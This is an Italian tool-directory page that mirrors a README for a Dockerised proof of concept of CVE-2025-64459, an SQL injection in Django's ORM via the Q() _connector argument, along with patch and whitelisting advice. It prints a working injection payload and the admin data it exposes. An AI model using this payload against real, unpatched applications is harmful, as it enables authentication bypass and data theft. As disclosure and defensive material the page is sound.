Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/0xcyberstan/cve-2025-64459-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHub0xcyberstan/cve-2025-64459-poc

CVE-2025-64459-Poc

Vulnerabilità: SQL Injection tramite unpacking degli argomenti keyword di QuerySet e Q(). CVE ID: CVE-2025-64459 Gravità: Critica (CVSS 9.1) Versioni Affette: Django 5.1 < 5.1.14, 4.2 < 4.2.26, e 5.2 < 5.2.8. Ricercatore: Cyberstan (University of Warwick)

Vedi Repository
2139 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-64459: PoC di SQL Injection nell'ORM di Django

Severity CVSS Django

Vulnerabilità: SQL Injection tramite spacchettamento degli argomenti keyword di QuerySet e Q(). CVE ID: CVE-2025-64459 Scoperto da: Me (Cyberstan) Data di divulgazione: 5 Novembre 2025


🚨 Riepilogo Esecutivo

Questo repository contiene una Prova di Concetto (PoC) containerizzata con Docker che dimostra una vulnerabilità critica di SQL Injection nell'ORM di Django.

La vulnerabilità risiede nel modo in cui l'oggetto Q gestisce gli argomenti keyword durante l'istanziazione. Nello specifico, l'attributo interno _connector non viene adeguatamente sanificato quando viene passato tramite spacchettamento del dizionario (ad esempio, ). Ciò consente a un attaccante remoto di iniettare logica SQL arbitraria nella clausola di una query del database, abilitando , e .

Q(**user_input)
WHERE
bypass dell'autenticazione
esfiltrazione di dati
escalation dei privilegi

Versioni Affette

  • Django 5.1: Versioni < 5.1.14
  • Django 5.0: Versioni < 5.2.8
  • Django 4.2: Versioni < 4.2.26

⚙️ Analisi Tecnica

La Causa Principale

La vulnerabilità risiede in django.db.models.sql.where.WhereNode. Il metodo as_sql, responsabile della compilazione della clausola SQL WHERE, utilizza una formattazione di stringa non sicura per inserire il connettore della query (AND/OR).

Mentre il connettore di solito ha come predefinito "AND" o "OR", Django consente di sovrascriverlo tramite l'argomento keyword _connector nel costruttore dell'oggetto Q.

root@kitploit:~
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
    # ...
    # The self.connector attribute is injected directly without validation
    conn = ' %s ' % self.connector
    # ...

Il Vettore d'Attacco

La vulnerabilità viene attivata quando gli sviluppatori utilizzano lo spacchettamento del dizionario per costruire filtri a partire dall'input dell'utente — un pattern comune nelle API di ricerca.

Pattern di Codice Vulnerabile:

root@kitploit:~
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict() 
query = Q(**filters)  # <--- VULNERABLE POINT
results = User.objects.filter(query)

Se un attaccante include _connector come chiave nel proprio input, può manipolare la struttura SQL.


🛠️ Passaggi per la Riproduzione

Questa PoC utilizza Docker per garantire un ambiente consistente e isolato contenente la versione vulnerabile di Django (5.1).

Prerequisiti

  • Docker
  • Docker Compose

1. Clonare il Repository

root@kitploit:~
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC

2. Eseguire l'Exploit

Eseguire il seguente comando per costruire l'ambiente e lanciare lo script di attacco:

root@kitploit:~
docker-compose up --build

3. Analizzare l'Output

Il container eseguirà uno script Python (poc.py) che simula un endpoint applicativo vulnerabile.

  1. Crea due utenti: alice (standard) e root (admin).
  2. Simula una richiesta di ricerca contenente il payload _connector malevolo.
  3. Stampa il SQL grezzo risultante e le righe del database trapelate.

Output di Exploit Riuscito:

root@kitploit:~
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.

🛡️ Mitigazione

Patch Immediata

Aggiornare Django all'ultima versione di sicurezza immediatamente.

  • pip install Django==5.1.14 (o versione pertinente)

La patch introduce una validazione rigorosa in WhereNode, assicurando che connector sia sempre uguale a AND o OR.

Igiene del Codice / Workaround

Se non è possibile aggiornare immediatamente, verificare l'uso di Q(**kwargs) o filter(**kwargs) nel proprio codice. Assicurarsi che il dizionario passato a questi metodi non contenga mai chiavi controllate direttamente dall'utente.

Pattern Sicuro:

root@kitploit:~
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}

# Now safe to unpack
User.objects.filter(**clean_filters)

⚠️ Disclaimer

Questo repository è solo per scopi educativi e di ricerca sulla sicurezza.

Il codice fornito crea un ambiente vulnerabile per dimostrare uno specifico difetto di sicurezza. Non dovrebbe mai essere eseguito in un ambiente di produzione. L'autore (Cyberstan) non è responsabile per qualsiasi uso improprio di queste informazioni. Testare questo exploit contro sistemi senza autorizzazione esplicita è illegale.

Scarica lo strumento